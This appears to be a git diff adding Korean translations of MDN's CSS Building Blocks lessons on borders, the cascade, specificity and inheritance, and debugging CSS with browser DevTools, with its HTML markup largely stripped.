참고: 위쪽, 오른쪽, 아래쪽 및 왼쪽 테두리 속성에는 문서의 쓰기 모드 (예: 왼쪽에서 오른쪽으로 또는 오른쪽에서 왼쪽으로 텍스트 또는 위에서 아래로) 와 관련된 논리적 속성이 매핑되어 있습니다. 다음 수업에서는 다양한 텍스트 방향 처리 에 대해 다룰것입니다.

+
+ +

테두리에 사용할 수 있는 다양한 스타일이 있습니다. 아래 예에서 우리는 박스의 네 면에 다른 테두리 스타일을 사용했습니다. 테두리 스타일, 너비 및 색상으로 실습하여 테두리의 작동 방식을 확인 하십시오.

+ +

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/borders.html", '100%', 800)}}

+ +

둥근 테두리

+ +

박스의 둥근 테두리는 {{cssxref("border-radius")}} 속성 과 박스의 각 모서리와 관련되 관련 longhands 를 사용하여 수행됩니다. 두 개의 길이 또는 백분율을 값으로 사용할 수 있습니다. 첫 번째 값은 가로 반경을 정의하고 두 번째 값은 세로 반경을 정의합니다. 많은 경우에 하나의 값만 전달하면 둘 다에 사용됩니다.

+ +

예를 들어, 박스의 네 모서리를 모두 10px radius 로 만들려면:

+ +
.box {
+  border-radius: 10px;
+} 
+ +

또는 오른쪽 상단 모서리의 가로 반경이 1em 이고, 세로 반경이 10% 가 되도록 하려면:

+ +
.box {
+  border-top-right-radius: 1em 10%;
+} 
+ +

아래 예에서 네 모서리를 모두 설정한 다음, 오른쪽 위 모서리의 값을 변경하여 다르게 만들었습니다. 값을 사용하여 모서리를 변경할 수 있습니다. 사용 가능한 구문 옵션을 보려면 {{cssxref("border-radius")}} 의 속성 페이지를 살펴보십시오.

+ +

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/corners.html", '100%', 800)}}

+ +

배경과 테두리로 실습하기

+ +

새로운 지식을 테스트하려면 아래 예제를 시작점으로 사용하여 배경과 테두리를 사용하여 다음을 작성하십시오:

+ +
    +
  1. 박스에 둥근 모서리가 10px 인, 5px 검은색 단색 테두리를 지정하십시오.
  2. +
  3. 배경 이미지를 추가하고 (URL balloons.jpg 사용) 박스를 덮도록 크기를 조정하십시오.
  4. +
  5. <h2> 에 반투명 검정색 배경색을 지정하고 텍스트를 흰색으로 만듭니다.
  6. +
+ +

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/task.html", '100%', 800)}}

+ +
+

참고: 여기에서 해결책을 살펴 보기 할 수 있지만 — 먼저 스스로 알아보십시오!

+
+ +

요약

+ +

여기서는 많은 내용을 다루었으며, 박스에 배경이나 데두리를 추가하는 것이 상당히 많다는 것을 알 수 있습니다. 논의한 기능에 대해 더 자세히 알고 싶다면, 다른 속성 페이지를 살펴보십시오. MDN 의 각 페이지에는 지식을 가지고 실습하고 향상시키기 위한 더 많은 사용 예제가 있습니다.

+ +

다음 수업에서는 문서의 쓰기 모드가 CSS 와 어떻게 상호 작용하는지 알아봅니다. 텍스트가 왼쪽에서 오른쪽으로 표시되지 않으면 어떻게 됩니까?

+ +

{{PreviousMenuNext("Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks")}}

+ +

이번 강의에서는

+ +
    +
  1. 계단식 및 상속
  2. +
  3. CSS 선택자 + +
  4. +
  5. 박스 모델
  6. +
  7. 배경 및 테두리
  8. +
  9. 다른 텍스트 방향 처리
  10. +
  11. 콘텐츠 overflow
  12. +
  13. 값 과 단위
  14. +
  15. CSS 에서 항목 크기 조정
  16. +
  17. 이미지, 미디어 및 양식 요소
  18. +
  19. 표 스타일링
  20. +
  21. CSS 디버깅
  22. +
  23. CSS 정리
  24. +
diff --git a/files/ko/learn/css/building_blocks/cascade_and_inheritance/index.html b/files/ko/learn/css/building_blocks/cascade_and_inheritance/index.html new file mode 100644 index 0000000000..5e15af3722 --- /dev/null +++ b/files/ko/learn/css/building_blocks/cascade_and_inheritance/index.html @@ -0,0 +1,337 @@ +--- +title: 계단식 및 상속 +slug: Learn/CSS/Building_blocks/Cascade_and_inheritance +translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance +--- +
{{LearnSidebar}}{{NextMenu("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks")}}
+ +

이 수업의 목적은 CSS 가 HTML 에 적용되는 방법과 충돌을 해결하는 방법을 제어하는 CSS 의 가장 기본적인 개념인 — 계단식, 우선 순위 및 상속 — 에 대한 이해를 발전시키는 것입니다.

+ +

이 수업을 통해 작업하면 코스의 다른 부분 보다 관련성이 떨어지고 좀 더 학문적으로 보일 수 있지만, 이러한 사항을 이해하면 나중에 많은 고통을 덜 수 있습니다! 이 섹션을 주의 깊게 살펴보고 계속 진행하기 전에 개념을 이해하는지 확인하십시오.

+ + + + + + + + + + + + +
전제조건:기본 컴퓨터 활용 능력, 기본 소프트웨어 설치파일 작업 에 대한 기본 지식,  HTML 기본 사항 (HTML 소개 학습) 및 , CSS 작동 방식 이해 (CSS 첫 번째 단계 학습)
목적:계단식 및 특수성 과 CSS 에서 상속이 작동하는 방식 배우기.
+ +

규칙 충돌

+ +

CSS 는 Cascading Style Sheets 의 약자이며, CSS 라는 단어를 이해하는 데 있어 첫 번째 단어 cascading 은 매우 중요합니다.

+ +

어느 시점에서, 당신은 프로젝트를 진행할 것이며 요소에 적용해야 할 CSS 가 작동하지 않는다는 것을 알게 될 것입니다. 일반적으로 문제는 동일한 요소에 적용할 수 있는 두 가지 규칙을 작성 했다는 것입니다. 계단식 (cascade) 과 밀접하게 관련된 우선 순위 (specificity) 개념은 그러한 충돌이 있을 때 적용되는 규칙을 제어하는 메커니즘입니다. 어떤 규칙에 따라 요소를 원하는 스타일로 만들지 못할 수도 있으므로 이러한 메커니즘의 작동 방식을 이해해야 합니다.

+ +

상속(inheritance) 개념도 중요합니다. 기본적으로 일부 CSS 속성은 현재 요소의 부모 요소에 설정된 값을 상속하지만, 일부는 그렇지 않습니다. 또한 예상치 못한 일부 동작이 발생할 수 있습니다.

+ +

우리가 다루고 있는 주요 사항을 간단히 살펴보면서 시작해 봅시다. 차례대로 살펴보고 서로 상호 작용하고 CSS 와 어떻게 상호 작용 하는지 살펴 보겠습니다. 이것은 이해하기 어려운 까다로운 개념으로 보일 수 있습니다. 그러나 CSS 작성에 대한 연습이 많을수록 작동 방식이 더 명확해 집니다.

+ +

계단식 (cascade)

+ +

스타일 시트 cascade — 매우 간단한 수준에서 이는 CSS 규칙의 순서가 중요하다는 것을 의미 합니다. 동일한 우선 순위를 갖는 두 규칙이 적용될 때, CSS 에서 마지막에 나오는 규칙이 사용 될 것입니다.

+ +

아래 예에서는, h1 에 적용할 수 있는 두 가지 규칙이 있습니다. h1 은 파란색으로 표시됩니다 — 이러한 규칙에는 동일한 선택자가 있고 동일한 고유성을 가지므로, 소스 순서의 마지막 규칙이 우선합니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/cascade/cascade-simple.html", '100%', 400)}} 

+ +

우선 순위 (Specificity)

+ +

우선 순위는 여러 규칙에 다른 선택자가 있지만, 여전히 동일한 요소에 적용될 수 있는 경우, 브라우저가 어떤 규칙을 적용할 지 결정하는 방법입니다. 기본적으로 선택자의 선택이 얼마나 구체적인지 측정합니다:

+ + + +

시간 예제! 아래에는 h1 에 적용할 수 있는 두 가지 규칙이 다시 있습니다. 아래 h1 은 빨간색으로 표시 됩니다 — class 선택자는 규칙에 더 높은 우선 순위를 부여하므로 요소 선택자가 있는 규칙은 소스 순서에서 더 아래에 표시 되더라도 적용됩니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/cascade/specificity-simple.html", '100%', 500)}} 

+ +

우선 순위 점수 및 기타 사항에 대해서는 나중에 설명하겠습니다.

+ +

상속 (Inheritance)

+ +

상속은 이 맥락에서 이해되어야 합니다 — 부모 요소에서 설정된 일부 CSS 속성 값은 자식 요소에 의해 상속되며, 일부는 그렇지 않습니다.

+ +

예를 들어, 요소에 color 및 font-family 를 설정하면, 다른 색상 및 글꼴 값을 직접 적용하지 않는 한, 해당 요소 내부의 모든 요소에도 해당 색상 및 글꼴로 스타일이 지정됩니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/cascade/inheritance-simple.html", '100%', 550)}} 

+ +

일부 속성은 상속되지 않습니다 — 예를 들어 요소에 {{cssxref("width")}} 를 50% 로 설정하면, 모든 하위 항목의 너비가 부모 너비의 50% 가 되지 않습니다. 이 경우, CSS 는 사용하기가 매우 어려울 것입니다!

+ +
+

참고: MDN CSS 속성 참조 페이지에서 일반적으로 specifications 섹션의 맨 아래에 기술 정보 박스가 있습니다. 여기에는 해당 속성의 상속 여부를 포함하여 해당 속성에 대한 여러 데이터 요소가 나열되어 있습니다. 예를 들어, color 속성 Specifications 섹션 을 참조 하십시오.

+
+ +

개념이 함께 작동하는 방식 이해하기

+ +

이 세 가지 개념은 어떤 CSS 가 어떤 요소에 적용되는지를 함께 제어합니다. 아래 섹션에서 우리는 그들이 어떻게 함께 작동하는지 볼 것입니다. 때로는 약간 복잡해 보일 수 있지만, CSS 에 익숙해지면 기억하기 시작하고 잊어 버린 경우, 항상 세부 정보를 찾을 수 있습니다! 숙련된 개발자 조차도 모든 세부 사항을 기억하지 못합니다.

+ +

상속 이해하기

+ +

상속부터 시작하겠습니다. 아래 예에서는 {{HTMLElement("ul")}} 이 있으며, 그 안에 순서가 없는 두 가지 수준의 목록이 있습니다. 외부 <ul> 에 테두리, 패딩 및 글꼴 색상을 지정했습니다.

+ +

색상은 직접 자식 항목 뿐만 아니라 간접 자식 항목 (직접 자식 <li>) 및 첫 번째 중첩 목록에 있는 자식 항목에도 적용됩니다. 그런 다음 두 번째 중첩 목록에 special class 를 추가하고 다른 색상을 적용했습니다. 그런 다음 자식을 통해 상속됩니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/cascade/inheritance.html", '100%', 700)}} 

+ +

너비 (위에서 언급 한 것처럼), 마진, 패딩 및 테두리와 같은 것은 상속되지 않습니다. 만약 우리 목록의 자식들이 테두리를 물려 받았다면, 모든 단일 목록과 목록 항목은 테두리를 얻게 될 것입니다 — 아마도 우리가 원하는 효과는 아닙니다!

+ +

기본적으로 상속되는 속성과 그렇지 않은 속성은 대체로 상식적입니다.

+ +

상속 제어하기

+ +

CSS 는 상속을 제어하기 위한 4 가지 특수 범용 속성 값을 제공합니다. 모든 CSS 속성은 이러한 값을 허용합니다.

+ +
+
{{cssxref("inherit")}}
+
선택한 요소에 적용된 속성 값을 부모 요소의 속성 값과 동일하게 설정합니다. 사실상, 이것은 "상속에 영향을 미칩니다".
+
{{cssxref("initial")}}
+
선택한 요소에 적용된 속성 값을 브라우저의 기본 스타일 시트에서 해당 요소의 해당 속성에 설정된 값과 동일하게 설정합니다. 브라우저의 기본 스타일 시트에서 값을 설정하지 않고 속성이 자연스럽게 상속되면 속성 값이 대신 inherit 되도록 설정됩니다.
+
{{cssxref("unset")}}
+
속성을 natural 값으로 재설정 합니다. 즉, 속성이 자연적으로 상속되면 inherit 된 것처럼 작동하고 그렇지 않으면 initial 처럼 작동합니다.
+
+ +
+

참고: 브라우저 지원이 제한된 새로운 값인 {{cssxref("revert")}} 도 있습니다.

+
+ +
+

참고: 각각에 대한 자세한 내용과 작동 방식에 대한 자세한 내용은 {{SectionOnPage("/en-US/docs/Web/CSS/Cascade", "Origin of CSS declarations")}} 를 참조하십시오.

+
+ +

우리는 링크 목록을 보고 보편적 가치가 어떻게 작용하는지 탐구할 수 있습니다. 아래의 라이브 예제를 사용하면 CSS 를 사용하여 변경 작업을 수행할 수 있습니다. 코드를 가지고 노는 것이 HTML 과 CSS 를 이해하는 가장 좋은 방법입니다.

+ +

예를 들면:

+ +
    +
  1. 두 번째 목록 항목에는 my-class-1 class 가 적용되었습니다. 내부에 중첩된 <a> 요소의 색상을 상속하도록 설정합니다. 규칙을 제거하면 링크 색상이 어떻게 변경됩니까?
  2. +
  3. 왜 세 번째 와 네 번째 링크가 그 색깔인지 이해합니까? 그렇치 않은 경우 위의 값에 대한 설명을 확인하십시오.
  4. +
  5. <a> 요소에 대해 — 예를 들어 a { color: red; } 와 같은 새 색상을 정의하는 경우 어떤 링크가 색상이 변경됩니까?
  6. +
+ +

{{EmbedGHLiveSample("css-examples/learn/cascade/keywords.html", '100%', 700)}} 

+ +

모든 속성 값 재설정

+ +

CSS 속기 속성을 all 로 사용하면 이러한 상속 값 중 하나를 (거의) 모든 속성에 한 번에 적용할 수 있습니다. 이 값은 상속 값 (inherit, initial, unset 또는 revert) 중 하나일 수 있습니다. 스타일에 대한 변경 사항을 취소하여 새로운 변경을 시작하기 전에 알려진 시작 지점으로 돌아갈 수 있는 편리한 방법입니다.

+ +

아래 예제에는 두 개의 인용문이 있습니다. 첫 번째는 인용문 자체에 스타일을 적용하고 두 번째는 all 값을 unset 하도록 인용문에 적용된 class 를 갖습니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/cascade/all.html", '100%', 700)}} 

+ +

all 의 값을 사용 가능한 다른 값 중 일부로 설정하고 차이가 무엇인지 관찰하십시오.

+ +

계단식 (cascade) 이해하기

+ +

이제 HTML 구조에 깊게 중첩된 단락이 본문에 적용된 CSS 와 동일한 색상인 이유를 이해하고, 소개 수업에서 문서의 어느 시점에서는 CSS 를 변경하는 방법에 대해 이해합니다 — 요소에 CSS 를 할당하거나 class 를 만들지 여부. 이제 여러 요소가 요소를 스타일링 할 수 있는 경우, CSS 에서 적용할 CSS 규칙을 어떻게 정의하는지 계단식 (cascade) 에 대해 올바르게 살펴보겠습니다.

+ +

여기에는 중요도의 내림차순으로 나열된 세 가지 요소가 있습니다. 이전의 것들은 다음 것보다 우선합니다:

+ +
    +
  1. Importance
  2. +
  3. 우선 순위
  4. +
  5. 소스 순서
  6. +
+ +

브라우저가 CSS 를 정확히 적용하는 방법을 어떻게 파악하는지 아래부터 위로 살펴보겠습니다.

+ +

소스 순서

+ +

우리는 이미 소스 순서가 계단식 (cascade) 에 어떻게 중요한지를 보았습니다. 정확히 동일한 가중치를 갖는 규칙이 두 개 이상인 경우, CSS 에서 마지막에 오는 규칙이 우선합니다. 이것을 요소 자체가 마지막 요소가 승리하고 요소를 스타일링 할 때까지 초기 요소를 덮어 쓰는 규칙에 가깝다고 생각할 수 있습니다.

+ +

우선 순위 (Specificity)

+ +

소스 순서가 중요하다는 사실을 이해하면, 어느 시점에서 규칙이 스타일 시트에서 나중에 나오지만 이전의 충돌하는 규칙이 적용되는 상황이 발생합니다. 이는 이전 규칙이 더 높은 우선 순위를 갖기 때문입니다 — 보다 구체적이기 때문에, 브라우저에서 요소를 스타일해야 하는 규칙으로 선택하고 있습니다.

+ +

이 수업의 앞부분에서 살펴본 것처럼, class 선택자는 요소 선택자보다 가중치가 높으므로, class 에 정의된 속성이 요소에 직접 적용된 속성보다 우선합니다.

+ +

여기서 주목할 점은 선택자 및 선택한 항목에 적용되는 규칙에 대해 생각하고 있지만, 덮어 쓰는 전체 규칙이 아니라 동일한 속성일 뿐입니다.

+ +

이 동작은 CSS 에서 반복을 피하는 데 도움이 됩니다. 일반적인 방법은 기본 요소의 일반 스타일을 정의한 다음, 다른 요소에 대한 class 를 작성하는 것입니다. 예를 들어, 아래 스타일 시트에서 h2 제목에 대한 일반 스타일을 정의한 다음, 일부 속성과 값만 변경하는 class 를 만들었습니다. 처음에 정의된 값은 모든 표제에 적용되며, 보다 구체적인 값은 class 가 있는 표제에 적용됩니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/cascade/mixing-rules.html", '100%', 700)}} 

+ +

이제 브라우저가 우선 순위 (specificity) 를 계산하는 방법을 살펴보겠습니다. 우리는 이미 요소 선택자가 우선 순위가 낮으며 class 가 덮어 쓸 수 있음을 알고 있습니다. 기본적으로 포인트 단위의 가치가 다른 유형의 선택자에 부여되며, 이를 합산하면 특정 선택자의 가중치가 부여되며, 이는 다른 잠재적 일치 항목에 대해 평가할 수 있습니다.

+ +

선택자의 우선 순위는 4개의 다른 값 (또는 구성 요소) 을 사용하여 측정되며, 이는 4개의 열에서 Thousands, Hundreds, Tens 및 Ones 개의 단일 자릿수로 간주될 수 있습니다.

+ +
    +
  1. Thousands: 선언이 인라인 스타일인 {{htmlattrxref("style")}} 속성 안에 있으면, 열에서 1점을 얻습니다. 이러한 선언에는 선택자가 없으므로 그 우선 순위는 항상 1000 입니다.
  2. +
  3. Hundreds: 전체 선택자에 포함된 각 ID 선택자에 대해 이 열에서 1점을 얻습니다.
  4. +
  5. Tens: 이 선택란에서 전체 선택자 내에 포함된 각 class 선택자, 속성 선택자 또는 pseudo-class 에 대해 이 열에서 1점을 얻습니다.
  6. +
  7. Ones: 이 항목에서 각 요소 선택자 또는 전체 선택자 내에 포함된 pseudo-element 에 대해 1점을 얻습니다.
  8. +
+ +
+

참고: 범용 선택자 (*), 결합자 (+, >, ~, ' ') 및 부정 pseudo-class (:not) 는 우선 순위에 영향을 미치지 않습니다.

+
+ +

다음 표는 기분을 전환하기 위해 몇 가지 분리된 예를 보여줍니다. 이것들을 살펴보고 왜 그들이 우리에게 그들에게 주어진 우선 순위를 가지고 있는지 이해하도록 하십시오. 선택자는 아직 자세히 다루지 않았지만, MDN 선택자 참조 에서 각 선택자의 세부 정보를 찾을 수 있습니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
선택자ThousandsHundredsTensOnesTotal specificity
h100010001
h1 + p::first-letter00030003
li > a[href*="en-US"] > .inline-warning00220022
#identifier01000100
요소의 {{htmlattrxref("style")}} 속성 안에 규칙이 있는 선택자가 없습니다10001000
+ +

계속 진행하기 전에, 실제 사례를 살펴보겠습니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/cascade/specificity-boxes.html", '100%', 700)}} 

+ +

우선, 우리는 이 예제의 처음 7개 규칙에만 관심이 있으며, 앞으로 알 수 있듯이 각 규칙 앞에 주석에 우선 순위 값을 포함 시켰습니다.

+ + + +
    +
+ +
+

참고: 이것은 이해를 돕기위한 대략적인 예일뿐입니다. 실제로 각 선택자 유형에는 고유한 순위가 있으며, 낮은 우선 순위의 선택자로 덮어쓸 수 없습니다. 예를 들어, 백 만 개의 class 선택자가 결합되어도 하나 id 선택자의 규칙을 겹쳐쓸 수 없습니다.

+ +

우선 순위를 평가하는 보다 정확한 방법은 우선 순위를 개별적으로 최고에서 시작하여 필요할 때 최저로 평가하는 것입니다. 특정 순위 내에서 선별 점수 사이에 동점이 있을 때만 다음 수준을 평가해야 합니다. 그렇지 않으면, 낮은 우선 순위 선택자는 높은 우선 순위를 덮어쓸 수 없으므로 무시할 수 있습니다.

+
+ +

!important

+ +

위의 모든 계산을 무효화하는 데 사용할 수 있는 특별한 CSS 가 있지만, 중요하게 사용해야 합니다 — !important. 이것은 특정 속성과 가치를 가장 구체적으로 만들어 계단식 (cascade) 의 일반적인 규칙을 무시하는 데 사용됩니다.

+ +

두 개의 단락이 있고, 하나에 ID 가 있는 이 예를 살펴보십시오.

+ +

{{EmbedGHLiveSample("css-examples/learn/cascade/important.html", '100%', 700)}} 

+ +

이 과정을 통해 어떤 일이 일어나고 있는지 살펴보겠습니다 — 이해하기 어려운 경우 어떤 일이 발생하는지 확인하려면 일부 속성을 제거해 보십시오:

+ +
    +
  1. 세 번째 규칙의 {{cssxref("color")}} 및 {{cssxref("padding")}} 값이 적용되었지만, {{cssxref("background-color")}} 가 적용되었음을 알 수 있습니다. 왜죠? 소스 순서 후반의 규칙은 일반적으로 이전 규칙보다 우선하기 때문에 세 가지 모두가 반드시 적용되어야 합니다.
  2. +
  3. 그러나, class 선택자는 요소 선택자보다 높은 우선 순위에 있기 때문에 위의 규칙이 우선합니다.
  4. +
  5. 두 요소 모두 {{htmlattrxref("class")}} 가 더 우수 하지만,  두 번째 요소는 {{htmlattrxref("id")}} 도 이기고 있습니다. ID 는 classe 보다 우선 순위가 더 높기  때문에 페이지에서 각 고유 ID 를 가진 요소는 하나만 가질 수 있지만, class 는 같은 요소가 많습니다 — ID 선택자는 대상에 따라 매우 다릅니다.  빨간색 배경색과 1 px 검은색 테두리를 두 번째 요소에 적용해야 합니다. 첫 번째 요소는 회색 배경색을 가져오고 class 에서 지정한대로 테두리가 없습니다.
  6. +
  7. 두 번째 요소는 빨간색 배경색을 얻지만, 테두리는 없습니다. 왜일까요? 두 번째 규칙의 !important 선언으로 인해 — border: none 뒤에 이것을 포함하면 ID 가 더 높은 우선 순위에도 불구하고 이 선언이 이전 규칙의 테두리 값 보다 우선함을 의미합니다.
  8. +
+ +
+

참고: 이 !important 선언을 재정의하는 유일한 방법은 소스 순서에서 나중에 같은 우선 순위를 가진 선언에 또는 다른 고유한 선언에 다른 !important 선언을 포함시키는 것입니다.

+
+ +

!important 가 존재한다는 것을 아는 것이 도움이 되므로 다른 사람들의 코드에서 그것을 발견할 때 그 의미를 알 수 있습니다. 그러나, 반드시 필요한 경우가 아니면 절대 사용하지 않는 것이 좋습니다. !important 는 계단식이 정상적으로 작동하는 방식을 변경하므로, CSS 스타일 문제를 해결하기가 어렵습니다. 특히 큰 스타일 시트에서.

+ +

핵심 CSS modules 을 편집할 수 없는 CMS 에서 작업할 때, 다른 방법으로는 재정의 할 수 없는 스타일을 재정의 하려는 경우에 사용할 수도 있습니다. 그러나 실제로 피할 수 있다면 사용하지 마십시오.

+ +

CSS 위치의 영향

+ +

마지막으로, CSS 선언의 중요성은 지정된 스타일 시트에 따라 다릅니다 — 사용자가 스타일 시트를 설정하여 개발자의 스타일을 재정의할 수 있습니다. 예를 들어, 사용자가 시각 장애인일 수 있으며, 쉽게 읽을 수 있도록 방문하는 모든 웹 페이지의 글꼴 크기를 일반 크기의 두 배로 설정하려고 합니다.

+ +

요약하자면

+ +

충돌 선언은 다음 순서로 적용되며, 이후 선언은 이전 선언보다 우선합니다:

+ +
    +
  1. 사용자 에이전트 스타일 시트의 선언 (예: 다른 스타일이 설정되지 않은 경우 사용되는 브라우저의 기본 스타일).
  2. +
  3. 사용자 스타일 시트의 일반 선언 (사용자가 설정한 사용자 정의 스타일).
  4. +
  5. 작성자 스타일 시트의 일반적인 선언 (웹 개발자가 설정한 스타일).
  6. +
  7. 작성자 스타일 목록에서 중요한 선언
  8. +
  9. 사용자 스타일 시트의 중요한 선언
  10. +
+ +

웹 개발자의 스타일 시트는 사용자 스타일 시트를 재정의 하는것이 합리적이므로 디자인을 의도한대로 유지할 수 있지만, 사용자는 위에서 언급한 것처럼 웹 개발자 스타일을 재정의 해야 할 충분한 이유가 있습니다 — 이는 규칙에서 important 를 사용하여 달성할 수 있습니다.

+ +

적극적인 학습: 계단식 게임입니다

+ +

이 적극적인 학습에서는, 기본적으로 링크에 적용한 색상 및 배경색을 재정의하는 새로운 규칙 하나를 작성하여 실험해 보고자 합니다. {{anch("상속 제어")}} 섹션에서 살펴본 특수값 중 하나를 사용하여 실제 색상값을 사용하지 않고 배경색상을 다시 흰색으로 재설정하는 새 규칙에 선언을 작성할 수 있습니까?

+ +

실수한 경우 언제든지 재설정  버튼을 사용하여 재설정 할 수 있습니다. 정말로 막힌다면, 여기에서 해결책을 살펴 보십시오.

+ +

{{EmbedGHLiveSample("css-examples/learn/cascade/task.html", '100%', 700)}}

+ +

다음은 뭐죠

+ +

이 기사의 대부분을 이해했다면, 잘 끝났습니다 — CSS 의 기본 메커니즘에 익숙해지기 시작했습니다. 다음으로 선택자를 자세히 살펴보겠습니다.

+ +

계단식, 우선 순위 및 상속을 완전히 이해하지 못했다면, 걱정하지 마십시오! 이것은 지금까지 우리가 다루었던 가장 복잡한 내용이며, 전문 웹 개발자 조차도 까다로워하는 부분입니다. 강의를 계속 진행하면서, 이 기사를 몇 차례 다시 읽고 계속 생각하는 것이 좋습니다.

+ +

스타일이 예상대로 적용되지 않는 이상한 문제가 발생하면 여기를 다시 참조 하십시오. 우선 순위 문제일 수 있습니다.

+ +

{{NextMenu("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks")}}

+ +

이번 강의에서는

+ +
    +
  1. 계단식 및 상속
  2. +
  3. CSS 선택자 + +
  4. +
  5. 박스 모델
  6. +
  7. 배경 및 테두리
  8. +
  9. 다른 텍스트 방향 처리
  10. +
  11. 콘텐츠 overflowing
  12. +
  13. 값 과 단위
  14. +
  15. CSS 에서 항목 크기 조정
  16. +
  17. 이미지, 미디어 및 양식 요소
  18. +
  19. 표 스타일링
  20. +
  21. CSS 디버깅
  22. +
  23. CSS 정리
  24. +
diff --git a/files/ko/learn/css/building_blocks/debugging_css/index.html b/files/ko/learn/css/building_blocks/debugging_css/index.html new file mode 100644 index 0000000000..bf8badc26b --- /dev/null +++ b/files/ko/learn/css/building_blocks/debugging_css/index.html @@ -0,0 +1,200 @@ +--- +title: CSS 디버깅 +slug: Learn/CSS/Building_blocks/Debugging_CSS +translation_of: Learn/CSS/Building_blocks/Debugging_CSS +--- +
{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks/Organizing", "Learn/CSS/Building_blocks")}}
+ +

때로는 CSS 를 작성할 때 CSS 가 예상한 대로 동작하지 않는 문제가 발생합니다. 아마도 특정 선택자가 요소와 일치해야 하지만, 아무일도 일어나지 않거나 박스의 크기가 예상과 다릅니다. 이 기사에서는 CSS 문제를 디버깅하는 방법에 대한 지침을 제공하고 모든 최신 브라우저에 포함된 DevTools 가 진행 상황을 찾는 데 어떻게 도움이 되는지 보여줍니다.

+ + + + + + + + + + + + +
전제조건: +

기본 컴퓨터 활용 능력, 기본 소프트웨어 설치파일 작업 에 대한 기본 지식,  HTML 기본 사항 (HTML 소개 학습) 및 , CSS 작동 방식 이해 (CSS 첫 번째 단계 학습)

+
목적:브라우저 DevTools 의 기본 사항과 CSS 의 간단한 검사 및 편집방법 배우기.
+ +

브라우저 개발자 도구 (DevTools) 사용 방법

+ +

 브라우저 개발자 도구란 기사는 다양한 브라우저 및 플랫폼에서 도구를 사용하는 방법을 설명하는 최신 안내서입니다. 대부분 특정 브라우저에서 개발하도록 선택할 수 있으므로, 해당 브라우저에 포함된 도구에 가장 익숙해지지만, 다른 브라우저에서 해당 도구에 액세스하는 방법을 알아야합니다. 여러 브라우저간에 다른 렌더링이 표시되는 경우 도움이됩니다.

+ +

또한 DevTools 를 작성할 때 브라우저가 다른 영역에 집중하도록 선택했음을 알 수 있습니다. 예를 들어, Firefox 에는 CSS 레이아웃으로 시각적으로 작업하기위한 훌륭한 도구가 있으며, 그리드 레이아웃, Flexbox 및 Shapes 를 검사하고 편집할 수 있습니다. 그러나, 모든 브라우저마다 유사한 기본 도구가 있습니다. 예: 페이지의 요소에 적용된 속성 및 값을 검사하고 편집기에서 변경하는 데 사용됩니다.

+ +

이 수업에서는 CSS 작업을 위한 Firefox DevTools 의 유용한 기능을 살펴봅니다. 이를 위해 예제 파일 을 사용하겠습니다. 따라하고 싶다면, 새 탭에 로드하고 위에 링크된 기사에 설명된대로 DevTools 를 여십시오.

+ +

DOM vs 소스 보기

+ +

새로운 사용자를 개발자 도구 (DevTools) 로 체험할 수 있는 것은  웹 페이지의 소스 보기 를 보거나 서버에 넣은 HTML 파일을 볼 때 표시되는 것과 개발자 도구의 HTML 창에서 볼 수 있는 것의 차이입니다. 소스 보기를 통해 볼 수 있는 것과 거의 비슷해 보이지만 몇 가지 차이점이 있습니다.

+ +

렌더링 된 DOM 에서 브라우저가 잘못 작성된 HTML 를 수정했을 수 있습니다. <h2> 를 열고 </h3>, 로 닫는 등의 요소를 잘못 닫은 경우, 브라우저는 수행하려는 작업을 파악하고 DOM 의 HTML 은 <h2> 를 </h2> 로 올바르게 닫습니다. 또한 브라우저에서는 모든 HTML 를 표준화하고, DOM 은 JavaScript 로 변경한 내용도 표시합니다.

+ +

소스 보기는 서버에 저장된 HTML 소스 코드입니다. 개발자 도구의 HTML tree 는 특정 시점에 브라우저가 렌더링하는 내용을 정확하게 보여주므로, 실제로 진행중인 상황에 대한 통찰력을 제공합니다.

+ +

적용된 CSS 검사

+ +

페이지에서 요소를 마우스 오른쪽/ctrl 키를 누른 채 클릭하고 검사 (Inspect) 를 선택하거나, 개발자 도구 디스플레이 왼쪽의 HTML tree 에서 요소를 선택하십시오. box1 class 의 요소를 선택하십시오; 이것은 테두리 박스가 그려진 페이지의 첫 번째 요소입니다.

+ +

The example page for this tutorial with DevTools open.

+ +

If you look at the Rules view to the right of your HTML, you should be able to see the CSS properties and values applied to that element. You will see the rules directly applied to class box1 and also the CSS that is being inherited by the box from its ancestors, in this case to <body>. This is useful if you are seeing some CSS being applied that you didn't expect. Perhaps it is being inherited from a parent element and you need to add a rule to overwrite it in the context of this element.

+ +

Also useful is the ability to expand out shorthand properties. In our example the margin shorthand is used.

+ +

Click on the little arrow to expand the view, showing the different longhand properties and their values.

+ +

You can toggle values in the Rules view on and off, when that panel is active — if you hold your mouse over it checkboxes will appear. Uncheck a rule's checkbox, for example border-radius, and the CSS will stop applying.

+ +

You can use this to do an A/B comparison, deciding if something looks better with a rule applied or not, and also to help debug it — for example if a layout is going wrong and you are trying to work out which property is causing the problem.

+ +

Editing values

+ +

In addition to turning properties on and off, you can edit their values. Perhaps you want to see if another color looks better, or wish to tweak the size of something? DevTools can save you a lot of time editing a stylesheet and reloading the page.

+ +

With box1 selected, click on the swatch (the small colored circle) that shows the color applied to the border. A color picker will open up and you can try out some different colors; these will update in real time on the page. In a similar fashion, you could change the width or style of the border.

+ +

DevTools Styles Panel with a color picker open.

+ +

Adding a new property

+ +

You can add properties using the DevTools. Perhaps you have realised that you don't want your box to inherit the <body> element's font size, and want to set its own specific size? You can try this out in DevTools before adding it to your CSS file.

+ +

